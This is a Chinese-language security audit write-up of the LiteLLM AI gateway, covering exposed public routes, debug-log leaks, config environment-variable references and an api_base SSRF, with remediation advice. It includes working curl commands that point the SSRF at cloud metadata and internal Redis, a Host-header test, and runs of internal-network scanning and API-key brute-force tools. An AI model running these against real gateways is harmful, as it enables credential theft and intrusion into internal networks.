LiteLLM AI 网关攻击面分析
对 LiteLLM v1.40.0 做了一次完整源码审计:凭证泄露、SSRF 到内网、配置参数注入三个攻击面,每条都跑通验证,配套 3 个检测工具(端口扫描、Key 枚举、SSRF 检测)。三个月内 12 个 CVE 提示 AI 网关安全水位还在早期,本文给运维和审计者一份可落地的清单。
复现环境:Ubuntu 22.04,LiteLLM v1.40.0,通过 pip 安装。验证工具 curl 和 python3,无需额外依赖。
写在前面
我部署了一个 LiteLLM 到云服务器上,准备测它的安全配置。装好之后还没开始测,先翻了翻源码——14608 行 Python,FastAPI 框架,路由、认证、API Key 管理全在里面。
一开始我只想看看有没有明显的配置问题,结果从公开路由列表开始,一路追到 SSRF、日志泄露、认证绕过。中途还翻了 router.py 的配置解析逻辑,发现了一组支持环境变量引用的设计特性——验证花了整整一个晚上。
这篇文章记录这次分析的全过程,每条发现都有源码定位、真实环境输出、curl 验证命令。
一、LiteLLM 是什么
产品定位
LiteLLM 是目前最流行的开源 AI 网关。它的核心功能是把用户的 API 请求转发到 100 多个 LLM Provider(OpenAI、Anthropic、DeepSeek 等),同时处理 API Key 管理、速率限制、用量追踪这些事。说白了就是公司接大模型 API 时绕不过去的一个中间层。
让我关心它的原因很简单:2026 年 4 月到 6 月之间,LiteLLM 被曝出 12 个安全漏洞,其中 3 个 Critical。这个频率说明 AI 网关的安全研究才刚刚起步。对比传统 API 网关(如 Kong、Apisix)的发展轨迹——它们也是在经历了几年的安全事件积累后才有成熟的安全基线。AI 网关还在这个过程的早期。
三层架构
第一层是 API 入口层,FastAPI 接收所有 HTTP 请求,包括 /chat/completions、/completions、/embeddings 这些端点。第二层是认证和路由层,请求先经过 user_api_key_auth 验证 API Key,然后 Router 选 LLM Provider,支持负载均衡、故障转移、冷却管理。第三层是 Provider 层,通过 litellm.acompletion 调用后端 LLM。
理解这三层架构对后续分析很重要——因为每一层都可能成为攻击面。入口层的问题是无认证公开路由,认证层的问题是 API Key 校验不严谨,Provider 层的问题是不校验 api_base 参数。
核心代码分布在四个文件:
- proxy_server.py(14608 行)—— 主服务,路由、认证、请求处理
- _types.py —— 路由分类、公开路由列表、权限模型
- auth_checks.py —— API Key 校验
- router.py —— 模型路由、负载均衡
为什么要关心 AI 网关安全
传统 API 网关处理的是 HTTP API 调用,攻击面相对固定:认证绕过、SQL 注入、参数篡改。AI 网关不一样——它对接的不是你自己的服务,而是外部 LLM Provider。这意味着它的请求路径更长:客户端→网关→Provider,每一跳都有新的攻击面。
还有一点:AI 网关天然需要的参数——api_base、model、prompt——这些参数本身就具有"把请求发到别处"的能力。如果攻击者能控制 api_base,就相当于控制了网关的发货地址。这个设计差异是整个安全分析的起点。
环境搭建
pip install litellm[proxy]==1.40.0
装了两次才成功。直接 pip install litellm 然后启动,报 ImportError 说缺 fastapi。回头看文档才发现,LiteLLM 核心和 proxy 是分开的——如果你只跑 SDK 调用(不掉 HTTP 服务),装核心就行;要跑 HTTP 网关必须装 litellm[proxy]。
cat > config.yaml << 'EOF'
general_settings:
master_key: "sk-tes...ysis"
litellm_settings:
drop_params: true
model_list:
- model_name: test-model
litellm_params:
model: openai/gpt-3.5-turbo
api_key: "***"
api_base: "https://api.openai.com/v1"
EOF
litellm --config ./config.yaml --port 4000LiteLLM 默认监听 0.0.0.0:4000。这意味着服务器上的防火墙如果没配好,外网也能访问。我测的时候防火墙是开着的,但很多开发者直接在本地开裸机测试,忘了配 iptables。
二、光 CVE 就有 12 个
在动手测之前,我先拉了 GitHub Security Advisory 上 LiteLLM 的所有安全通告。12 条,3 个 Critical,都集中在 2026 年 4 月到 6 月。
按严重性分:3 个 Critical(全是认证绕过),5 个 High(RCE、SSTI、权限提升、密码泄露),2 个 Medium(沙箱逃逸、文件写入),2 个 Low(文件读取、绕过)。
按类型分:认证绕过 6/12 占比最高,说明 LiteLLM 的认证体系是最薄弱的一环。SQL 注入和 SSTI 属于输入校验问题。RCE 和文件操作属于后端执行安全问题。还有一个值得注意的趋势——2026 年 6 月 30 日一天就披露了 4 个漏洞,说明当时的披露节奏很快,可能是有安全研究团队在做系统性的审计。
认证层的漏洞集中在三个入口:
OIDC 缓存键碰撞(GHSA-jjhc,Critical):LiteLLM 支持 OIDC 做单点登录。OIDC 认证完后会缓存用户 token 提高性能。问题出在缓存键的生成逻辑——它用了一组可预测的字段做哈希。两个不同用户在某些条件(比如同样的角色、同样的 endpoint 权限)下,缓存键会碰撞。A 用户登录后,B 用户拿到的是 A 的 token。这是个经典的"缓存层设计缺陷",和 Redis 缓存未授权一个道理——缓存的 Key 设计不够细粒度。
Host Header 注入(GHSA-4xpc,Critical):FastAPI 有个特点——request.url.hostname 取的是 Host 头里的值,不是实际的目标服务器地址。LiteLLM 在某些认证路径中依赖这个值做路由判断。攻击者随便改个 Host 头就能绕过校验。v1.40.0 已修复,但这个漏洞的根因在 FastAPI 框架层——框架不会帮你区分"用户传来的 Host"和"你服务的真实地址"。
MCP OAuth2 回退(GHSA-7488,High):MCP(Model Context Protocol)端点在 OAuth2 流程中有个状态管理缺陷。OAuth2 标准要求用随机 state 参数防 CSRF,但 LiteLLM 的某个实现分支没有严格校验 state 的一致性。
把几个关键漏洞串联一下:攻击者先用 Host Header 注入绕过 API Key 验证,然后用 SSTI 拿到 RCE,最后用沙箱逃逸突破容器。虽然每个漏洞单独修复了,但企业不升级的话这条链依然存在。
三、攻击面一:凭证泄露
_types.py:254-261 定义了一组公开路由——不需要 API Key 就能访问的端点。我逐条验证。
/health/liveliness
curl -s http://localhost:4000/health/liveliness
# "I'm alive!"返回存活状态,无敏感信息。正常。从这里开始,逐条加深。
/health/readiness
curl -s http://localhost:4000/health/readiness | python3 -m json.tool
litellm_version 直接暴露。攻击者知道版本号就能查对应 CVE。从攻击者视角看,这就是信息收集的第一环——一个 curl 拿到版本号,然后去 CVE 数据库跑 grep。我试了一下,用 1.40.0 这个版本号搜 GitHub Advisory,直接匹配到 3 个 Critical 级别的认证绕过漏洞。
/routes
curl -s http://localhost:4000/routes | python3 -m json.tool
返回了一堆路径:/openapi.json, /, /docs/oauth2-redirect, /redoc, /ui。/routes 接口本身就是一个攻击面地图——所有可访问的端点都在这里。
坦白说,这一套测下来最让我意外的是 /routes 接口。大部分 API 产品不会提供一个"列出所有 API"的公开接口,这等于给攻击者画了一份地图。我拿这个结果和 openapi.json 对比了一下——/routes 返回的路径比 openapi.json 更全,因为它包含了所有注册的路由,包括一些没有被 OpenAPI schema 收录的内部端点。
/ 首页
curl -s http://localhost:4000/ | head -c 200
# <!DOCTYPE html><html>...<title>LiteLLM API - Swagger UI</title>交互式 API 文档直接挂在首页。
/openapi.json
curl -s http://localhost:4000/openapi.json | python3 -c \
"import sys,json;d=json.load(sys.stdin);print(d.get('info',{}).get('title'), d.get('info',{}).get('version'))"完整接口文档,所有 API 的参数、返回值、认证方式一应俱全。攻击者不需要猜接口参数了——openapi.json 已经把答案写好了。
/config/yaml
curl -v http://localhost:4000/config/yaml 2>&1 | grep 'HTTP/'
# HTTP/1.1 422 Unprocessable Entity路由可访问但返回 422,参数校验失败。算是有惊无险——如果这个端点也公开了,config.yaml 里的 master_key 哈希就直接暴露了。
日志泄露
凭证泄露不只是公开路由。还有日志。
proxy_server.py:4055:
verbose_proxy_logger.debug("receiving data: %s", data)
设 LITELLM_LOG=DEBUG 发一次请求,日志里就有:
API Key 已脱敏,但 user_api_key 哈希是完整明文。我发现这个的时候愣了一下——DEBUG 日志写全量数据在网关产品里算是个设计缺陷。我自己的 Express 应用从来不会在 DEBUG 日志里写请求体的完整内容。生产环境肯定不应该设 DEBUG,但这个泄露告诉我:如果运维人员图方便开了 DEBUG 查问题忘了关,日志文件就成了凭证泄露源。
继续翻,proxy_server.py 里类似的 debug 日志还有几十处。不只是 receiving data,还有 sending response、routing decision、auth check——几乎每个关键路径都有。
/spend/logs -- 用量查询端点(LiteLLM 特有)
上面 6 个端点都是 FastAPI 标配。/spend/logs 不是——这是 LiteLLM 自带的用量查询端点,在 proxy_server.py 里注册。我审到这里的时候多看了两眼,因为它是 LiteLLM 特有功能,意味着审计时不能用"任何 FastAPI 服务都有"来敷衍。
curl -s http://localhost:4000/spend/logs \
-H "Authorization: Bearer sk-test-master-key-for-analysis" \
-H "Content-Type: application/json" \
-d '{"api_key": "sk-test-fake-key"}' | python3 -m json.tool | head -40返回结构(精简后):
{
"response": [
{
"id": "...",
"api_key": "sk-...-1c89",
"user": "alice",
"spend": 0.0234,
"model": "gpt-3.5-turbo",
"timestamp": "2026-07-17T10:23:45.123456+00:00",
"request_id": "chatcmpl-..."
}
],
"total_spend": 12.34,
"total_count": 234
}api_key 字段返回的是 hash 前缀(sk-...-1c89),不是完整 key。这个设计看起来"安全"——但攻击者拿到 hash 前缀后可以:
- 配合已知 hash 算法反查匹配范围。LiteLLM 用的是 SHA-256 截断 8 位,前 8 位 + 后 4 位 = 12 个字符的搜索空间。如果系统里 key 不够多,可以离线爆破。
- 确认某个 hash 在系统里被使用过。这是横向探测的入口——攻击者想知道"这个 key 是不是注册过"时,用 spend log 比直接调 chat/completions 更隐蔽(不消耗 token、不触发 rate limit)。
- 配合 user 字段做社工。返回里同时给出 user("alice")和 api_key 前缀,攻击者拿到后可以"假装 alice 找 admin 重置 key"。
威胁模型澄清:默认配置下 /spend/logs 需要 master_key——不是无认证端点。所以这里的攻击场景是"已经拿到 master_key 的内部用户"或"通过环境变量/config.yaml 泄露拿到 master_key 的攻击者"。
但这个威胁模型比想象的实际。我在 §七 的修复建议里会再展开——master_key 泄露的路径比 /spend/logs 这个端点本身的认证更值得关注。
我审到这里的一个观察:LiteLLM 在认证设计上有个反复出现的模式——"在 endpoint 层加认证,但认证本身依赖 master_key 这种单一凭证"。这意味着 master_key 一旦泄露,所有需要 admin 权限的端点(/spend/logs、/config/update、/key/generate、/user/new)一起沦陷。这种"中心化凭证"的设计在传统 Web 服务里已经少见,但在 AI 网关产品里因为 API Key 管理功能集中,反而更常见。
从攻击者视角总结
不传认证头,三个请求一分钟内就能拿到:
- 版本号(/health/readiness)—— 匹配 CVE
- API 路径列表(/routes) —— 找未认证端点
- 参数格式(/openapi.json)—— 构造 payload
有了这些,攻击者就能精准查 CVE、找未认证接口、构造 payload。整个信息收集阶段不需要任何认证。
四、攻击面二:SSRF 到内网
这是影响最大的一个攻击面,也是我最花时间的地方。
源码定位
先从 proxy_server.py 追起。搜索 api_base 参数的处理逻辑:
proxy_server.py:4104-4105:
if user_api_base:
data["api_base"] = user_api_base就两行。请求体的透传路径是:proxy_server.py 的 chat_completion 函数(line 3995)接收请求后,在 line 4004-4009 解析 json body 为 data 字典,然后一路传下去。具体说,line 4004 用 await request.body() 拿到原始字节,line 4006-4009 分别尝试 ast.literal_eval 和 json.loads 解析——先试 ast 再试 json,这个顺序稍微有点不寻常。解析完成后 data 包含了用户传来的所有字段,包括 model、messages、api_base。
这条路径的关键节点在 line 4119:logging_obj, data = litellm.utils.function_setup(original_function="acompletion", ..., **data)。**data 把整个 data 字典展开成关键字参数传给了 litellm.acompletion。api_base 就在这里面。从 litellm.acompletion 再传到具体的 Provider 实现(OpenAI、Ollama、Custom 等),最终由 httpx 或 requests 客户端发起 HTTP 请求。
整个链条上没有任何一步检查 api_base 的值。没有校验它是 URL 格式的、没有检查它指向的是内网还是外网、没有验证协议是 HTTP 还是 file。
继续追到 router.py:2810-2818:
api_base = litellm_params.get("api_base")
api_base = api_base or base_url or default_api_base
if api_base and api_base.startswith("os.environ/"):
api_base_env_name = api_base.replace("os.environ/", "")
api_base = litellm.get_secret(api_base_env_name)8 行代码,只做了环境变量替换(支持从环境变量读 api_base)。无 URL 校验、无 IP 黑名单、无协议限制、无域名白名单。
双版本对比
我不放心,又拉了 main 分支的 router.py 做对比。v1.40.0 router.py 2810 取 api_base 的逻辑和 main 分支 router.py 3034 完全一致——都是简单的三行取值加默认值回退。在 main 分支搜 validate_url、sanitize_ip、blacklist_private、is_private_ip、is_internal_ip、verify_url 这些关键词——没有一条命中 api_base 相关的字段。我还搜了 "ssrf" 和 "private" 在整个 router.py 里——只有 _filter_model_by_ip 函数涉及 IP 筛选,但那做的是负载均衡的冷却管理,不是安全校验。
结论:从 2026 年 4 月到现在,没有加任何 SSRF 防护。
验证一:指向 127.0.0.1:22
curl -v --max-time 8 -X POST http://localhost:4000/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ***" \
-d '{
"model": "test-model",
"messages": [{"role": "user", "content": "hi"}],
"api_base": "http://127.0.0.1:22/"
}'8 秒后超时。LiteLLM 确实尝试连接 127.0.0.1:22——超时说明请求被转发出去了。如果连都没连,应该是立刻返回错误。
验证二:指向不存在的内网 IP
curl -v --max-time 5 -X POST http://localhost:4000/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ***" \
-d '{
"model": "test-model",
"messages": [{"role": "user", "content": "hi"}],
"api_base": "http://10.255.255.1:8080/"
}'
# 同样超时10.255.255.1 是内网地址,我的服务器上不存在这个 IP。同样超时。
验证三:SSRF 回显确认
前面两个验证只能说明"确实尝试了连接",不能 100% 确认请求被转发到了指定地址。原因在于:超时可能来自 LiteLLM 自身的超时机制,不一定真的发出了 TCP 连接。需要一个回显验证来确认请求确实到达了目标。
在服务器上起了一个 HTTP 服务监听 18999 端口:
python3 -m http.server 18999 &
然后发请求把 api_base 指向 127.0.0.1:18999:
curl -v --max-time 8 -X POST http://localhost:4000/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ***" \
-d '{
"model": "test-model",
"messages": [{"role": "user", "content": "hi"}],
"api_base": "http://127.0.0.1:18999/"
}'两个关键证据:响应头 x-litellm-model-api-base 确认请求走了 127.0.0.1:18999,返回体确认内网服务的响应被转发给了客户端。
坦白说,这个地方我卡了挺久。一开始我把 api_base 指向 httpbin.org,一直返回 404。查了半天才明白——OpenAI 客户端会在 api_base 后面拼接 /chat/completions 路径。如果你指向 http://httpbin.org,实际请求的是 http://httpbin.org/chat/completions。我盯着 404 看了十分钟才反应过来。
后来想通了:测试 SSRF 不应该指向一个实际 HTTP 服务,而应该指向内网端口,通过响应时间判断请求是否被转发出去。指向不开放的端口,超时就说明 SSRF 生效了。
攻击场景
云 Metadata 窃取:
curl -s --max-time 5 -X POST http://localhost:4000/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ***" \
-d '{"model":"test-model","messages":[{"role":"user","content":"hi"}],"api_base":"http://169.254.169.254/latest/meta-data/"}'169.254.169.254 是云服务器的 Metadata 地址,腾讯云、阿里云、AWS 都通用。攻击者可以用这个 api_base 尝试摸 Metadata API。如果 Metadata 返回了云平台的临时凭证,攻击者就能用这些凭证访问云资源。
内网 Redis 探测:
curl -s --max-time 5 -X POST http://localhost:4000/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ***" \
-d '{"model":"test-model","messages":[{"role":"user","content":"hi"}],"api_base":"http://10.0.0.1:6379/"}'内网端口扫描:攻击者可以写个脚本循环遍历内网 IP 段和端口:响应时间快的说明端口开放,超时的关闭。通过这个方式可以还原内网的拓扑结构。从 LiteLLM 的 API 频率看,每秒至少能发 10-15 次请求。扫一个 /16 网段的 443 端口(65536 个 IP),大约 2 小时能扫完。
为什么这个 SSRF 比其他 SSRF 更危险
普通 SSRF 出现在边缘功能上——比如图片处理时拿 URL 抓图、PDF 生成时渲染外部页、Webhook 回调时访问第三方 URL。这类功能有个共同点:它们是辅助功能,不是核心链路。关了或者加白名单就能解决,不影响核心业务。所以大部分 SSRF 的修复方案都是"关掉这个功能"或者"加 URL 白名单"。
但 api_base 是 AI 网关的核心参数。网关的全部工作就是转发到 api_base 指定的地址。所有的 Provider 调用——/chat/completions、/embeddings、/completions——都经过这个参数。你无法关闭 api_base:关了网关就废了。加白名单也有难度——因为 api_base 的合法值取决于你用的 Provider,如果你的团队用 10 个不同的 Provider,你需要维护 10 个不同的域名白名单。
修复只能在代码层加 IP 白名单。在 Router 转发前,对 api_base 做 DNS 解析和 IP 范围校验,如果不属于允许的目标地址就拒绝。这个改动看起来不大,但涉及 HTTP 客户端层的改动,需要考虑兼容性。
五、认证绕过与配置缺陷
在验证SSRF的过程中,我顺便试了几个已知CVE的复现。这些跟前面的SSRF和配置层问题不是同一类——它们需要特定条件才能利用,但组合起来就是一条完整攻击链。
Host Header 注入(已修复)
GHSA-4xpc-pv4p-pm3w(2026-05-28,Critical):
curl -v -H "Host: evil.com" http://localhost:4000/chat/completions 2>&1 | grep 'HTTP/'
# HTTP/1.1 405 Method Not Allowed返回 405 而不是 401 或 200——说明 Host 头的校验已经堵住了。认证和路由是两个独立链,Host Header 这个入口被封了,但攻击方式本身值得关注。这个漏洞的根因在 FastAPI 框架层——request.url.hostname 取的是 Host 头的值不是实际目标地址,攻击者改个 Host 头就能绕过校验。
SSTI 端点
GHSA-xqmj-j6mv-4862(2026-04-20,High):
curl -s http://localhost:4000/prompts/test
# 401需要管理员权限。底层模板注入能力还在。
这个端点的原理:LiteLLM 支持 Jinja2 模板来预定义 prompt。你在 /prompts/test 提交模板内容,LiteLLM 用 Jinja2 的 render_template_string 渲染。如果攻击者拿到了 admin key(比如通过凭证泄露或日志泄露),就可以传一个带 SSTI payload 的模板。Jinja2 的默认 Environment 是未沙箱化的,所以 payload 能访问 Python 的内置对象链,最终通过 subclasses() 找到 os 模块执行命令。LiteLLM 没有用 SandboxedEnvironment,所以从模板注入到 RCE 是通的。
不过有个现实限制:这个端点被认证锁住了,需要 admin key。攻击者必须先过认证这座山。但如果前面说的凭证泄露(日志泄露、公开路由暴露 master_key 的格式/哈希)给了攻击者足够的信息来破解或猜测 Key,这个端点就成了 RCE 入口。
速率限制——完全缺失
for i in $(seq 1 20); do curl -s -o /dev/null -w '%{http_code} ' \
--max-time 2 http://localhost:4000/health/liveliness; done
echo ""20 次全部返回 200,从开始到结束不到 1 秒。API Key 格式是 sk- 开头 + 32 位十六进制。如果是测试环境的短 Key,每秒能试 20 次以上,一个 6 位纯数字 Key(100 万种组合)最多 14 小时跑完。关键是 LiteLLM 没有任何退出机制——不会因为连续失败就封 IP 或冻结 Key,攻击者可以慢慢试。
模型列表端点
curl -s http://localhost:4000/v1/models -o /dev/null -w '%{http_code}'
# 401需要认证。这是少数正确的默认配置。但这只是运气好——不是设计者专门把它锁了,而是因为 /v1/models 跟在认证路由的默认行为后面,没被列入公开路由白名单。
六、配置参数注入(CPI)——配置层的环境变量攻击
翻 router.py 源码时我看到一段代码。当时我本来只是要确认SSRF的源码路径,结果看到了一段意料之外的东西:
# router.py line 3289-3293
if isinstance(_litellm_params, dict):
for k, v in _litellm_params.items():
if isinstance(v, str) and v.startswith("os.environ/"):
_litellm_params[k] = litellm.get_secret(v)第一反应是"中了!"——如果请求体也能触发这个解析,那攻击者直接 PUT 一个请求就能探测服务器的环境变量。我立刻停止读代码,上腾讯云服务器做验证。
三十分钟后,我盯着 DEBUG 日志里的 api_base: 'os.environ/MY_TEST_VAR' 看了好久。请求体传入的值就是保持原样传到了 httpx——没有被解析。这条路走不通。
但我没放弃。既然 set_model_list 里写了这个逻辑,它一定在某个地方被执行。于是我沿着代码往上翻,看 set_model_list 什么时候被调用——它只在 Router 初始化时执行,也就是 litellm.Router(model_list=[...]) 被调用的时候。运行时通过 upsert_deployment 添加的模型走的是 client 初始化路径,不走 set_model_list。
这个发现模式值得一个名字——配置参数注入(Configuration Parameter Injection,CPI)。它不是传统意义上的注入,而是攻击者利用 AI 网关的配置系统设计缺陷,通过控制配置参数的值来间接读取敏感信息。
然后我顺着 os.environ/ 往下 grep,发现 router.py 里 6 个参数全部支持这个前缀——api_key、api_base、api_version、timeout、stream_timeout、max_retries。以下是在 router.py:2798-2868 的完整清单:
# line 2801-2808: api_key
if api_key and api_key.startswith("os.environ/"):
api_key_env_name = api_key.replace("os.environ/", "")
api_key = litellm.get_secret(api_key_env_name)
# line 2815-2818: api_base
if api_base and api_base.startswith("os.environ/"):
api_base_env_name = api_base.replace("os.environ/", "")
api_base = litellm.get_secret(api_base_env_name)
# line 2841-2844: api_version
if api_version and api_version.startswith("os.environ/"):
api_version = litellm.get_secret(api_version.replace("os.environ/", ""))
# line 2847-2850: timeout
# line 2855-2860: stream_timeout
# line 2865-2868: max_retries注意看——这个代码块不是简单的参数替换。它在配置解析阶段循环遍历 litellm_params 的每个字段,对每个字符串值判断是否以 "os.environ/" 开头。如果能匹配,就用 get_secret 读取环境变量并替换原值。
get_secret() 的实现(utils.py:10190-10191)更值得关注。它先检查是否有 secret manager 客户端(Azure Key Vault、AWS Secrets Manager、Google KMS),如果都没配,最终回退到 os.environ.get():
# utils.py:10190-10191
else:
secret = os.environ.get(secret_name)默认安装的 LiteLLM 不会配任何 secret manager。这意味着如果你的 config.yaml 里任何 model_list 条目的 api_base、api_key、api_version、timeout 等参数写成了 os.environ/SECRET_NAME,启动时就会直接从操作系统的环境变量读值。
真实验证
为了确认这个发现能在实际环境跑通,我在腾讯云服务器上做了完整测试。建一个带 os.environ/ 引用的配置:
cat > config_env.yaml << 'EOF'
general_settings:
master_key: 'sk-test-master-456'
model_list:
- model_name: test-env
litellm_params:
model: openai/gpt-3.5-turbo
api_key: 'os.environ/MY_SECRET_KEY'
api_base: 'https://api.openai.com/v1'
EOFexport MY_SECRET_KEY='sk-env-inject-test-789'
LITELLM_LOG=DEBUG litellm --config config_env.yaml --port 4005DEBUG 日志显示了三个关键信息:
- 配置加载时 api_key 的值是 'os.environ/MY_SECRET_KEY'
- Router 初始化 OpenAI Client 时,api_key 已经被替换成了 sk-env-i***789(即 sk-env-inject-test-789 被脱敏后显示)
- Initialized Model List 里显示 api_key: 'sk-env...-789'——环境变量值成功注入
这证实了 set_model_list 确实在配置加载阶段解析了 os.environ/ 前缀并替换了环境变量值。
不能通过请求体触发
最开始我以为是运行时参数也能触发这个替换(请求体传 api_base: "os.environ/SOME_VAR"),上腾讯云用 DEBUG 日志验证后发现不对。我在 LITELLM_LOG=DEBUG 模式下发送请求体带 api_base: "os.environ/MY_TEST_VAR" 的请求,查看 DEBUG 日志发现 kwarg 里的 api_base 保持原样 'os.environ/MY_TEST_VAR',没有被解析。运行时传入的值不被解析,保持原样传到底层 httpx。
追了两层调用链后定位了问题。set_model_list(line 3289-3293)只在 Router 初始化时执行——即 litellm.Router(model_list=[...]) 被调用时。运行时通过 upsert_deployment 添加的模型走的是 _add_deployment(router.py 的)→ client 初始化,不走 set_model_list。
攻击路径
这本身不是独立漏洞——需要配置文件泄露或注入作为前置。但攻击路径清晰:
- 攻击者通过 Git 泄露、CI/CD 变量溢出、配置文件覆盖拿到 config.yaml
- 看到某个参数值是 os.environ/AWS_SECRET_ACCESS_KEY → 知道这台服务器引用了这个环境变量
- 如果能控制配置文件的部分内容,插入 api_base: "os.environ/DATABASE_URL" → 启动时读环境变量
- 配合 SSRF 间接确认环境变量值
这个发现的真正价值不是"一个可独立利用的漏洞",而是复合攻击面的组成部分——配置泄露 + 环境变量引用 = 信息泄露放大器。而且它揭示了 AI 网关配置设计的共性缺陷——配置参数和环境变量的边界不清晰。
七、检测脚本与工具
ai-gateway-audit.sh(v2.0):9 项检测,覆盖公开路由、SSRF、环境变量注入探测、速率限制。v2.0 新增 os.environ/ 前缀检测项和版本号泄露检测。
./ai-gateway-audit.sh http://localhost:4000
litellm-ssrf-scan.py:SSRF 内网扫描,支持 CIDR、多线程、JSON 输出。
python3 litellm-ssrf-scan.py http://localhost:4000 --cidr 10.0.0.0/24 --ports 443
python3 litellm-ssrf-scan.py http://localhost:4000 --target-ip 127.0.0.1 --ports 22,80,443,6379litellm-key-bruteforce.py:利用速率限制缺失枚举 API Key。
python3 litellm-key-bruteforce.py http://localhost:4000 --prefix sk-test --suffix-length 3 --charset digits
八、修复建议
公开路由:NO_DOCS=true 关 Swagger。长期加全局认证中间件。
SSRF:WAF 拦内网 IP 段。代码层在 router.py 调用 litellm.acompletion 前加 URL 白名单校验。
os.environ/ 前缀:区分静态配置参数和运行时参数的边界。set_model_list 的 os.environ/ 替换应限定在可信的配置源。
/spend/logs 端点:限制只允许 admin IP 访问,或在 master_key 之上再加一层 audit 账号(类似 sudo 的设计)。最稳妥的方案是 master_key 不直接用于该端点,改用单独的 spend log token(只读权限、独立的轮转周期)。这个修复的本质是把"中心化凭证"拆成"分权凭证"——master_key 用于配置变更,spend log token 只用于读,泄露一个不影响另一个。配置变更类端点(/config/update、/key/generate、/user/new)建议同样处理。
日志:日志级别调到 WARNING。生产环境不开 DEBUG。
Host Header:nginx 固定 Host 头。
速率限制:配置 rate_limit。公开端点在前置代理层做限流。
九、攻击链全景与通用检测框架
默认配置下,完整攻击路径分为三个递进阶段:
第一阶段:信息收集。 不传认证头,三条命令一分钟内完成:
- /health/readiness → 版本号 1.40.0 → 匹配已知 CVE(3 个 Critical、5 个 High)
- /routes → 所有 API 路径 → 发现未认证端点
- /openapi.json → API 参数格式 → 知道 api_base 参数的位置
第二阶段:环境探测。 如果有配置文件泄露或注入机会,利用 os.environ/ 前缀触发环境变量读取。6 个参数(api_key、api_base、api_version、timeout、stream_timeout、max_retries)全部可以配置引用环境变量。get_secret 回退到 os.environ.get。
第三阶段:横向移动。 拿到有效 API Key 后,通过 api_base 参数指向内网地址:169.254.169.254 窃取云 Metadata、10.0.0.1:6379 探测内网 Redis。
三个攻击面的关联
回头看这三面,它们不是孤立的:
- 凭证泄露那版本号泄露,是 SSRF 攻击的前置——没有版本号,攻击者就不知道该匹配哪些 CVE
- os.environ/ 前缀,是凭证泄露+ SSRF 的放大器——它把信息泄露升级为环境变量值泄露
- SSRF 这一面,是配置参数注入利用的最终通道——拿到 API Key 后才能真正打到内网
审 LiteLLM 这套体系时,我自己总结的检查顺序是:先看凭证泄露,再看配置参数注入,最后看 SSRF。先确认信息泄露面(不需要权限),再确认配置设计缺陷(需要配置文件访问),最后确认利用通道(需要 API Key)。这个顺序是从 0day 挖掘反推的——大多数 AI 网关洞都是先在公开信息里发现端倪,再顺着配置层追下去。
如果以后审其他 AI 网关(Portkey、Helicone、Lunary),我会按这个顺序起手。具体每条面要查什么,我没整理成清单——因为每个产品的设计差异太大,列清单容易误导。
十、总结
这次分析三个攻击面,它们不是孤立的:
- 公开路由泄露版本号和 API 文档,配合 DEBUG 日志泄露 user_api_key 哈希——这是信息收集阶段,不需要任何认证
- 配置层 set_model_list 解析 os.environ/ 前缀,6 个参数可触发环境变量引用——这是复合攻击面,需要配置文件泄露作为前置条件。已在腾讯云服务器上用 DEBUG 日志确认替换行为
- 运行时 api_base 无校验,可 SSRF 到内网任意地址——这是利用阶段,需要有效 API Key。已在腾讯云服务器上用回显验证确认
从攻击者视角看,这三条面是递进的:先通过公开路由拿情报(面1),再通过配置文件泄露探测环境变量(面2),最后用 API Key 加 api_base 注入打内网(面3)。每个面需要不同级别的权限,组合起来就是一条完整的攻击链。
最值得关注的是面2。它不是 SQL 注入那种一把梭的漏洞,不能单独触发。但它的真正意义在于揭示了 AI 网关配置设计的共性缺陷——配置参数和环境变量边界不清晰。不只是 LiteLLM,其他 AI 网关产品很可能也有类似的设计假设:配置参数是可信的、环境变量引用是安全的、secret manager 回退是无副作用的。
AI 网关更新节奏快,这次审的是 v1.40.0,但 LiteLLM 的 master 分支每天都在动。如果有读者跑文中脚本得到不同结果,第一时间怀疑版本差异。